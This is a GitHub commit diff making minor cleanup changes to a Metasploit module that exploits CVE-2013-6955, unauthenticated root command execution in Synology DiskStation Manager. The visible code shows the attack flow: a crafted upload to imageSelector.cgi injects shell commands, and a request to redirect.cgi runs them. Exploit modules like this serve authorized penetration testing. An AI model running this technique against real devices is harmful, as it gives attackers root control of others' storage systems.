Skip to content

Commit 13a4c62

Browse files
committed
Merge pull request #2 from jvazquez-r7/review_2787
Do final (minor) cleanup
2 parents 929f3ea + af13334 commit 13a4c62

File tree

1 file changed

+18
-15
lines changed

1 file changed

+18
-15
lines changed

modules/exploits/linux/http/synology_dsm_sliceupload_exec_noauth.rb

Lines changed: 18 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote
1515

1616
def initialize(info={})
1717
super(update_info(info,
18-
'Name' => "Synology DiskStation Manager SLICEUPLOAD Unauthenticated Remote Command Execution",
18+
'Name' => "Synology DiskStation Manager SLICEUPLOAD Remote Command Execution",
1919
'Description' => %q{
2020
This module exploits a vulnerability found in Synology DiskStation Manager (DSM)
2121
versions 4.x, which allows the execution of arbitrary commands under root
@@ -32,7 +32,10 @@ def initialize(info={})
3232
[
3333
'Markus Wulftange' # Discovery, Metasploit module
3434
],
35-
'License' => MSF_LICENSE,
35+
'References' =>
36+
[
37+
[ 'CVE', '2013-6955' ],
38+
],
3639
'Privileged' => false,
3740
'Platform' => ['unix'],
3841
'Arch' => ARCH_CMD,
@@ -51,11 +54,8 @@ def initialize(info={})
5154
['Automatic', {}]
5255
],
5356
'DefaultTarget' => 0,
54-
'DisclosureDate' => 'Oct 31 2013',
55-
'References' =>
56-
[
57-
['CVE', '2013-6955'],
58-
]
57+
'License' => MSF_LICENSE,
58+
'DisclosureDate' => 'Oct 31 2013'
5959
))
6060

6161
register_options(
@@ -124,6 +124,7 @@ def exploit
124124
post_body.gsub!(/\r\n(--#{mime_msg.bound})/, ' \\1')
125125

126126
# send request to append shell commands
127+
print_status("#{peer} - Injecting the payload...")
127128
res = send_request_cgi({
128129
'method' => 'POST',
129130
'uri' => '/webman/imageSelector.cgi',
@@ -136,23 +137,25 @@ def exploit
136137
})
137138

138139
unless res and res.code == 200 and res.body.include?('error_noprivilege')
139-
print_error("#{peer} - Unexpected response, probably the exploit failed")
140-
return
140+
fail_with(Failure::Unknown, "#{peer} - Unexpected response, probably the exploit failed")
141141
end
142142

143143
# send request to invoke the injected shell commands
144+
print_status("#{peer} - Executing the payload...")
144145
res = send_request_cgi({
145146
'method' => 'GET',
146147
'uri' => '/redirect.cgi'
147148
})
148149

149-
unless res and res.code == 200
150-
print_error("#{peer} - Unexpected response, probably the exploit failed")
151-
return
152-
end
150+
# Read command output if cmd/unix/generic payload was used
151+
if datastore['CMD']
152+
unless res and res.code == 200
153+
fail_with(Failure::Unknown, "#{peer} - Unexpected response, probably the exploit failed")
154+
end
153155

154-
print_good("#{peer} - Command successfully executed")
155-
print_line(res.body)
156+
print_good("#{peer} - Command successfully executed")
157+
print_line(res.body)
158+
end
156159
end
157160
end
158161

0 commit comments

Comments
 (0)